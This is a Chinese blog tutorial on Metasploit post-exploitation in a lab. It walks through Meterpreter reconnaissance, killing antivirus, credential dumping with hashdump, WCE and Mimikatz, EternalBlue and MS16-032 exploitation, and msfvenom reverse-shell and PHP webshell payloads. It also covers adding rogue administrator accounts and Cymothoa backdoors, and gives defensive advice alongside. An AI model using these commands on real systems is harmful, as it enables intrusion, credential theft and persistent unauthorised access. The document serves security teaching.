首先,祝大家中秋节和教师节快乐,每逢佳节倍思亲!其次,希望家乡疫情早日结束,贵阳贵安加油!
该系列文章将系统整理和深入学习系统安全、逆向分析和恶意代码检测,文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。漫漫长征路,偏向虎山行。享受过程,一起加油~
前文带领大家了解Metasploit技术,并结合作者之前的漏洞利用及WannaCry逆向经验总结。这篇文章继续带领大家深入Metasploit技术,涉及后渗透相关的技术,包括信息收集、权限提权、移植漏洞模块和后门。同时,结合作者之前的漏洞利用及WannaCry逆向经验总结。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。希望这篇文章对您有所帮助,这些大佬是真的值得我们去学习,献上小弟的膝盖~fighting!
文章目录:
- 一.MSF漏洞利用
- 二.后渗透攻击之信息收集 1.进程迁移 2.系统命令 3.文件系统命令
- 三.后渗透攻击之权限提升 1.权限查询 2.利用WMIC实战MS16-032本地溢出漏洞 3.令牌窃取提权 4.Hash攻击提权
- 四.后渗透攻击之移植自定义漏洞利用模块 1.传统MS08-067漏洞利用 2.移植github的MS17-010漏洞模块 3.深度提权
- 五.后渗透攻击之后门 1.操作系统Cymothoa后门 2.Web后门
- 六.总结
作者的github资源:
- 逆向分析: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
- 网络安全: https://github.com/eastmountyxz/ NetworkSecuritySelf-study
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
一.MSF漏洞利用
上一篇文章我们详细介绍了Metasploit的基础用法及漏洞利用过程,这篇文章将介绍后渗透相关的技术,包括信息收集、权限提升、移植漏洞和后门。在介绍这些知识之前,我们先简单回顾下MSF漏洞利用的基本流程。
第一步,扫描靶机Windows XP系统是否开启445端口。
- nmap -sS 192.168.44.135
收集到目标主机相关信息后,为其选择正确的Exploit和合适的Payload,然后发起攻击。作者这里选择Samba 3.x服务进行漏洞利用。
第二步,打开msfconsole。
- msfconsole
第三步,查询Samba的漏洞利用模块,并选择合适的漏洞利用模块。
- search samba
Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。
第四步,利用漏洞模块。 在Samba服务返回的漏洞利用模块列表中,我们选择“Excellent”最杰出且时间较新的漏洞,从而提高渗透成功率。
- use exploit/multi/samba/usermap_script
第五步,查看该漏洞利用模块可供选择的攻击载荷模块。 注意,因为目标是Linux机器,一定要选择Linux的攻击载荷。本文主要是回顾MSF漏洞攻击流程,后面会详细介绍真实的漏洞利用案例。
- set payload cmd/unix/reverse
第六步,设置漏洞利用信息。
- 受害主机IP:set RHOST 192.168.44.135
- 攻击主机IP:set LHOST 192.168.44.138
- 攻击端口:set RPORT 445
第七步,输入攻击命令exploit或run。
MSF发动攻击成功后会获取目标主机Shell,可以看到攻击主机和目标主机之间建立了Shell连接。同时可能会出现错误“Exploit completed, but no session was created”,需要注意目标主机版本信息,选择对应的攻击载荷及漏洞利用模块。建议读者多尝试各种Exploit和Payload的组合。
防御方法:
- Samba服务漏洞发生在Samba3.0.20-25版本,当使用非默认用户名映射脚本配置时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。建议将其升级到可防御的版本。
- SMB局域网上共享文件和打印机的通信协议会出现各种漏洞,建议关闭相关的端口及防火墙设置,即使修补最新漏洞。
二.后渗透攻击之信息收集
成功地对目标机器攻击渗透后还可以做什么呢?
Metasploit提供了一个非常强大的后渗透工具—— Meterpreter
,该工具具有多重功能,使后续入侵变得更容易,获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后渗透利用节点,后期渗透模块有200多个,Meterpreter具有以下优势。
- 纯内存工作模式,不需要对磁盘进行任何写入操作。
- 使用加密通信协议,而且可以同时与几个信道通信。
- 在被攻击进程内工作,不需要创建新的进程。
- 易于在多进程之间迁移。
- 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。
这里以上篇文章介绍的MS17-010漏洞为例进行说明。
同时,meterpreter的payload是真强大,它可以实现太多太多的功能了。我们可以在meterpreter下面进行help,查看相关用法。
- Core Commands
- File System Commands
- Networking Commands & System Commands
- User Interface Commands
- Webcam Commands & Other Commands
1.进程迁移
在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
(1) 获取目标主机正在运行的进程
ps
这些进程与我们的目标主机如XP系统打开时对应的,如下图所示。
(2) 查看Meterpreter Shell的进程号。
getpid
发现Meterpreter Shell进程的PID为524,Name为spoolsv.exe。
(3) 输入命令移动进程。 输入migrate命令把Shell移动到PID为1684的Explorer.exe进程里,因为该进程是一个稳定的应用。
migrate 1684
migrate也是一个post模块,可以将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀软。
渗透过程中可能会遇到问题,比如“Error: Rex::TimeoutError : Operation timed out. ”,这都需要我们学会独立解决。
完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,原先PID为1116的进程会自动关闭,如图所示。
(4) 使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移。
run post/windows/manage/migrate
如下所示,系统已经把原来PID为3292的进程迁移到6020。
代码语言:javascript复制meterpreter > run post/windows/manage/migrate
[*] Running module against DX1XMSTMBBJR3FZ
[*] Current server process: notepad.exe (3292)
[*] Spawning notepad.exe process to migrate to
[ ] Migrating to 6020
[ ] Successfully migrated to process 6020
2.系统命令
获得了稳定的进程后,接下来收集系统信息。后续作者想通过Python自己实现这些功能,感觉挺有意思的。
(1) 查看目标主机的系统信息。 通常会先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构。
sysinfo
(2) 检查目标机是否运行在虚拟机上。
run post/windows/gather/checkvm
可以看到当前目标机正运行在一个VMware虚拟机上,接下来我们检查虚拟机最近是否运行。
(3) 查看目标机最近的运行时间。
idletime
看到目标机器正在运行且运行了2 mins 49 secs。
(4) 查看目标机完整的网络设置。
route
除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。
(5) 查看已经渗透成功的目标主机的用户名。
getuid
(6) 关闭目标机操作系统杀毒软件。
run post/windows/manage/killav
(7) 启动目标机的远程桌面协议,对应3389端口,后面我们会利用该端口。
run post/windows/manage/enable_rdp
(8) 查看目标机的本地子网情况。
run post/windows/manage/autoroute
可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击。同时可以添加路由信息。
(9) 列举当前有多少用户登陆了目标机。
run post/windows/gather/enum_logged_on_users
(10) 列举完了用户之后, 继续输入命令列举安装在目标机上的应用程序。
run post/windows/gather/enum_applications
(11) 查看自动登陆的用户和密码。
run windows/gather/credentials/windows_autologin
可以看到当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图。
(12) 加载该插件截屏。
load espia
screengrab
另一个命令也可以达到同样的截屏效果。抓取成功后就生成了一个jpeg图片,保存在root目录下。
screenshot
(13) 查看目标机camera。
webcam_list
(14) take photo。
webcam_snap
(15) 开启模式。
webcam_stream
(16) 进入目标机shell。
shell
(17) 停止shell会话并返回meterpreter。
exit
3.文件系统命令
Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。
(1) 查看当前处于目标机的目录。
pwd或getwd
(2) 查看当前处于本地的哪个目录。
getlwd
(3) 列出当前目录中的所有文件。
ls
(4) 切换目录。
cd
(5) 搜索C盘中所有以".txt" 为扩展名的文件。
search -f *.txt -d c:\
其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。
(6) 下载目标机C盘的test.txt文件到攻击机root下。
download c:\test\test.txt /root
(7) 上传攻击机root目录下的test.txt文件到目标机C盘下。
upload /root/test.txt c:\
三.后渗透攻击之权限提升
1.权限查询
在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。
在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。
渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。
- 纵向提权: 低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
- 横向提权: 获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。
所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限。
(1) 查看当前权限。 在Meterpreter Shell下输入shell命令进入目标机的CMD命令行,接着输入whoami /groups命令查看我们当前的权限。
whoami
注意,如果提示whoami不是内部命令,则需要将whoami.exe复制到System32目录即可。
查看我们当前的权限。
whoami /groups
(2) 查看用户已获得的权限。 作者这里使用MS17-010漏洞提权,已经是系统管理员权限了。
getuid
通过getsystem命令可以尝试提权。
(3) 查看系统的已打补。
传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:windows里留下的补丁号".Iog" 查看目标机大概打了哪些补丁,如图所示。
systeminfo
可以看到目标机只安装了3个修补程序。
meterpreter命令如下:
(4) 利用WMIC命令列出已安装的补丁。
Wmic qfe get Caption,Description,HotFixID,InstalledOn
注意,作者这里没有显示详细信息,而徐老师他们显示详细信息如下图所示。
可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用没有编号的EXP进行提权。
因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。
WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC。 需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC且不用更改任何设置。 WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
2.利用WMIC实战MS16-032本地溢出漏洞
下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组或root。
溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。
(1) 接下来准备提权,需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。
search ms16-032
(2) 指定session完成提权操作。
use windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
(3) 实现攻击。
run
注意,如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。但是作者的始终没有响应,真实的运行结果是将权限提升为System级别。
防御方式:
- 该漏洞的安全补丁编号为KB3139914,我们只需要安装此补丁即可。为了方便提权,下面给出部分补丁编号。
微软也会定期给出对应的方法,比如:
- Microsoft 安全公告 MS08-067 - 严重
3.令牌窃取提权
令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性、不可预测,一般hk或软件无法猜测出来。令牌有很多种,比如:
- 访问令牌(Access Token): 表示访问控制操作主题的系统对象;
- 密保令牌(Security token): 又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;
- 会话令牌(Session Token):是交互会话中唯一的身份标识符。
在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。
前面我们通过MS17-010已经实现权限提升,但已经是System级权限。但某些情况下可能是Test权限,需要进一步提升。
(1) 查看已经获得的权限。
getuid
(2) 提权。
getsystem
发现提权失败了。
(3) 列出可用的token。
use incognito
list_tokens -u
可以看到有两种类型的令牌:
- 一种是Delegation Tokens,也就是授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问);
- 一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
由上图可以看到,我们已经获得了一个系统管理员hacker的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。
从输出的信息可以看到分配的有效令牌包含 XI....NQhacker
,其中XI…NQ是目标机的主机名,hacker表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。
impersonate token XI...NQ\hacker
shell
whoami
注意:在输入HOSTNAMEUSERNAME时需要两个反斜杠(\)。运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到现在就是假冒的那个hacker系统管理员了。
4.Hash攻击提权
Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在 sam
文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。
(1) hashdump抓取密码 在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”
hashdump
注意,在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题。权限不够需要提升为system权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。
(2) 如果报错,则提权并将进程转移至具有SYSTEM权限的进程。
ps
getsystem
migrate 664
(3) 导出目标机sam数据库中的Hash。
hashdump
(4) smart hashdump导出用户的Hash值。 另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:
- 检查Meterpreter会话的权限和目标机操作系统类型。
- 检查目标机是否为域控制服务器。
- 首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。
命令为:
run windows/gather/smart_hashdump
(5) 通过暴力或者彩虹列表对抓取到的hash进行破解。
- https://www.cmd5.com/
说明:在SAM文件中保存了两个不同的口令信息,LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本,1001代表管理员。
(6) 使用Quarks PwDump抓取密码 PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:
- Local accounts NT/LM hashes history 本机NT/LM哈希 历史登录记录。
- Domain accounts NT/LM hashes history域中的NT/LM哈希 历史登录记录。
- Cached domain password缓存中的域管理密码。
- Bitlocker recovery information使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。
运行该程序如上图所示,默认显示帮助信息,其参数含义如下所示。
- -dhl:导出本地哈希值。
- -dhdc:导出内存中的域控哈希值。
- -dhd:导出域控哈希值,必须指定NTDS文件。
- -db:导出Bitlocker信息, 必须指定NTDS文件。
- -nt:导出NTDS文件。
- -hist:导出历史信息,可选项。
- -t:可选导出类型,默认导出John类型。
- -o:导出文件到本地。
这里使用该工具抓取本机Hash值并导出,可以输入如下命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。
QuarksPwDump.exe -dhl -o 1.txt
(7) 使用WCE抓取密码。 Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据,如LM/NTHash。这些功能在内网渗透中能够被利用,例如在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。
另一款工具是Mimikatz,作为一款轻量级后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。后续实战中我们遇到再详细介绍。
同时,Mimikatz还能在PowerShell中执行,实现偷窃、注入凭证、伪造Kerberos票证创建,以及很多其他的功能。
输入samdump命令查看samdump的可用选项抓取Hash。
mimikatz_command -f samdump::hashes
四.后渗透攻击之移植自定义漏洞利用模块
1.传统MS08-067漏洞利用
首先,简单看看传统的漏洞利用方法。由于之前MS17-010漏洞已经复现过,所以这里使用MS08-067来加深读者MSF用法的印象。
第一步,扫描靶机Windows XP系统是否开启445端口。
- nmap -sS 192.168.44.135
第二步,打开msfconsole。
- msfconsole
第三步,查询漏洞模块。
- search ms08-067
第四步,利用漏洞并设置参数。
- use exploit/windows/smb/ms08_067_netapi 利用永恒之蓝漏洞
- set payload windows/shell_reverse_tcp 设置payload
- set RHOSTS 192.168.44.135 设置受害主机IP
- set LHOST 192.168.44.138 设置本机IP地址
- set RPORT 445 设置端口445
第五步,查看配合参数。
- show options
注意,默认target是自动的。
第六步,利用漏洞。
- exploit或run
此时可能会报错“Exploit comleted, but no session was created”。这是需要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP,则只需加一行如下命令:
- set target 2
最终漏洞利用成功。
输出后渗透相关命令,可以进行剩余操作。
2.移植github的MS17-010漏洞模块
2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。
WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。
WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。
WannaCry勒索病毒主要行为是传播和勒索。
- 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
- 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。
虽然MS17-010漏洞利用模块Metasploit已经集成,但经过测试后被发现不支持某些操作系统,比如Windows 2003,但网上有支持的渗透脚本。并且真实的案例中,尤其是0day漏洞,我们需要自己构建shellcode攻击脚本,所以这里我们讲述一种普适性更强的漏洞利用方法,即移植漏洞模块。
作者之前的文章也自己实现过。
- Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
- Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
- Windows漏洞利用之构建ROP链绕过DEP并获取Shell
(1) 下载漏洞利用模块至本地或自己编写相关Ruby脚本。
代码语言:javascript复制git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
运行结果如下图所示:
(2) 将 Eternalblue-Doublepulsar-Metasploit 文件夹下的rb文件复制到指定目录。
- /usr/share/metasploit-framework/modules/exploits/windows/smb
在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于读者理解Metasploit框架的基本用法。
(3) MSF重新加载全部文件。
- reload_all
(4) 搜索该脚本文件。
- search eternalblue_doublepulsar
(5) 使用MSF自带的Msfvenom命令生成DLL。 将MS17-010漏洞利用代码移植到Metasploit框架后,就可以实现渗透操作。但在攻击之前需要先生成一个DLL文件,如果目标主机是32位操作系统则生成32位的DLL,同理生成64位的DLL。这里涉及免杀,也可以使用PowerShell下的Empire生成DLL,后面文章介绍。
代码语言:javascript复制64位:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.44.138
lport=4444 -f dll -o ~/eternal11.dll
32位:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.44.138
-f dll -o ~/eternal11.dll
WannaCry和永恒之蓝详细原理,推荐大家阅读我的逆向分析文章。
(6) 使用use命令加载该模块及漏洞配置。
- use exploit/windows/smb/eternalblue_doublepulsar
(7) 漏洞利用。
- exploit
至此,我们攻击成功。得到一个Meterpreter会话,如下图所示。
防御建议:
- 开启系统防火墙
- 关闭445、139等端口连接
- 开启系统自动更新,下载并更新补丁,及时修复漏洞
- 为计算机安全最新补丁,微软已经发布补丁MS17-010修复该漏洞,读者也可以通过第三方工具下载补丁
- 安装安全软件,开启主动防御进行拦截查杀
- 如非服务需要,建议把高危漏洞的端口都关闭,比如 135、137、138、139、445、3389 等
- 开启防火墙,及时备份重要文件
3.深度提权
接着我们需要进一步对目标XP主机进行深度提权。
(1) 增加普通用户并提升至管理员权限。
- 增加普通用户 net user hacker 123456 /add
- 提升管理员权限 net localgroup administrators hacker /add
Windows DOM用户常用命令如下:
代码语言:javascript复制net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
net user abcd /del
将用户名为abcd的用户删除
net user abcd /active:no
将用户名为abcd的用户禁用
net user abcd /active:yes
激活用户名为abcd的用户
net user abcd
查看用户名为abcd的用户的情况
net localgroup administrators abcd /add
将abcd账户给予管理员权限
此时被攻击的主机新增“hacker”管理员如下图所示:
(2) 开启远程连接3389端口并进行远程操作。
代码语言:javascript复制# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:WINDOWSsystem323389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135
作者扫描发现3389端口已经开启,也可以直接利用。
(3) 输入命令连接远程IP地址,并输入我们创建好的hacker用户名及密码。
- rdesktop 192.168.44.135
输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功登录XP系统。
这是本文的深度提权知识。
(4) 最后,我们还需要将新建的用户名hacker删除。
写到这里,整个实验就讲解完毕。
五.后渗透攻击之后门
在完成提升权限后,我们就应该建立后门(backdoor),以维持对目标主机的控制权。这样,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。
简单的说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它运行一个普通的、未经授权的用户控制计算机。
1.操作系统Cymothoa后门
后门泛指绕过目标系统安全控制体系的正规yoghurt认证过程,从而维持我们
对目标系统的控制权,以及隐匿控制行为的方法。Meterpreter提供了Persistence等后渗透攻击模块,通过再目标主机上安装自动、永久服务等方式,来长久地控制目标机。这里主要介绍Cymothoa后门,还有Persistence后门,APT样本中也有各种各样的后门。
Cymothoa是一个后门工具,可以将ShellCode注入到现有进程(插进程)。借助这种注入手段,它能够把ShellCode伪装成常规程序。只要进程存在,后门就会有效,所以一般选择一些自其服务的进程来注入,例如web服务mysql、apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标shell后就可以使用cymothoa添加后门。
Cymothoa所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另一个优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。
(1) 查看程序的PID。
- Linux:ps -aux
- Windows:tasklist
(2) 查看ShellCode编号。 Cymothoa有很多的后门 shellcode,这些shellcode可以通过-S参数来查看。
- cymothoa -S
(3) 生成后门程序。 成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。如选择PID为903的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口号为4444。
- cymothoa -p 903 -s 1 -y 4444
遗憾这里失败,后续文章会更深入的讲解后门实战知识。
在实战中你需要对目标机上传编译好的Cymothoa进行后门注入,成功则如下图所示。
(4) NC连接后门程序。 注入成功后,我们通过攻击机器 kali 来使用 nc 连接,因为我第一次使用的 nvv 参数,会显示所有的详细信息,所以内容比较咋。可以看到 ip 已经是目标机的 ip,身份是 root。
- nc -nvv IP地址 端口号
这时把msf关闭,然后再次通过nc连接,查看ip和当前用户,该后门成功被利用。
注意,该后门注入系统的进程,反弹的是该进程相应的权限(并不需要root),当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或目标主机重启,后门就会停止运行。
2.Web后门
Web后门泛指Webshell,其实就是一段网页代码,包括ASP、PHP、JSP等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务端进行一些危险的操作以后去敏感信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的方法,比入侵攻击更加隐蔽。
Web后门能给攻击者提供非常多的功能,比如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。Windows操作系统下比较出名的是“中国菜刀”,还有开源的工具如蚁剑、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享过一句话 工具的用法。
在Kali下用得比较多的是Weevely,其功能很强大,使用http头进行指令传输,唯一的缺点是只支持PHP。其实Metasploit框架中也自带了Web后面,配合Meterpreter使用时,功能更强大。接下来我们简单用Meterpreter实现一个Web后门(PHP Meterpreter后门、ASP Meterpreter后门)。
在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可以创建具有Meterpreter功能的PHP Webshell。在攻击中使用Metasploit PHP Shell的步骤如下:
- 使用msfvenom创建一个webshell.php
- 上传webshell.php到目标服务器
- 运行Metasploit multi-handler开始监听
- 访问webshell.php页面
- 获取反弹的Metasploit Shell
(1) 通过Metasploit的Msfvenom工具会做PHP Meterpreter。
代码语言:javascript复制msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php
参数-p用于设置Payload,参数-f用于设置输出文件格式,生成的文件如下所示。
打开shutter.php文件如下图所示,这是一个webshell。
(2) 将shutter.php文件上传到目标服务器。这里是虚拟机,就直接复制到 var/www/html 目录。
(3) 开启msfconsole连接PHP后门。
通过MSF我们成功反弹服务器,最后利用Meterpreter进行后渗透操作。
注意,这里大家也可以尝试蚁剑、菜刀、冰蝎等工具。也建议大家好好思考:
- 如何有效检测Webshell
- 如何结合深度学习实现Webshell的自动化生成和绕WAF
- 如何结合深度学习自动化检测Webshell
六.总结
写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要是学习徐焱老师他们的《Web安全攻防渗透测试实战指南》,同时结合作者之前的漏洞利用及WannaCry逆向经验总结。文章非常长,作者也花费了很长时间,但相信只要你认真读完并复现,肯定会有收获,尤其是对MSF的理解。
- 一.MSF漏洞利用
- 二.后渗透攻击之信息收集 1.进程迁移 2.系统命令 3.文件系统命令
- 三.后渗透攻击之权限提升 1.权限查询 2.利用WMIC实战MS16-032本地溢出漏洞 3.令牌窃取提权 4.Hash攻击提权
- 四.后渗透攻击之移植自定义漏洞利用模块 1.传统MS08-067漏洞利用 2.移植github的MS17-010漏洞模块 3.深度提权
- 五.后渗透攻击之后门 1.操作系统Cymothoa后门 2.Web后门
学安全两年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
再次祝大家节日快乐,贵阳加油!
(By:Eastmount 2022-09-10 夜于地球 )
参考文章如下,感谢这些大佬。
- [1] https://www.rapid7.com/products/metasploit/download/
- [2] 《Web安全攻防渗透测试实战指南》徐焱、李文轩、王东亚老师
- [3] https://blog.csdn.net/Eastmount
- [4] https://www.cnblogs.com/coderge/p/13746810.html
- [5] https://blog.csdn.net/fageweiketang/article/details/86580213
- [6] https://blog.csdn.net/fageweiketang/article/details/86665518
- [7] https://www.cnblogs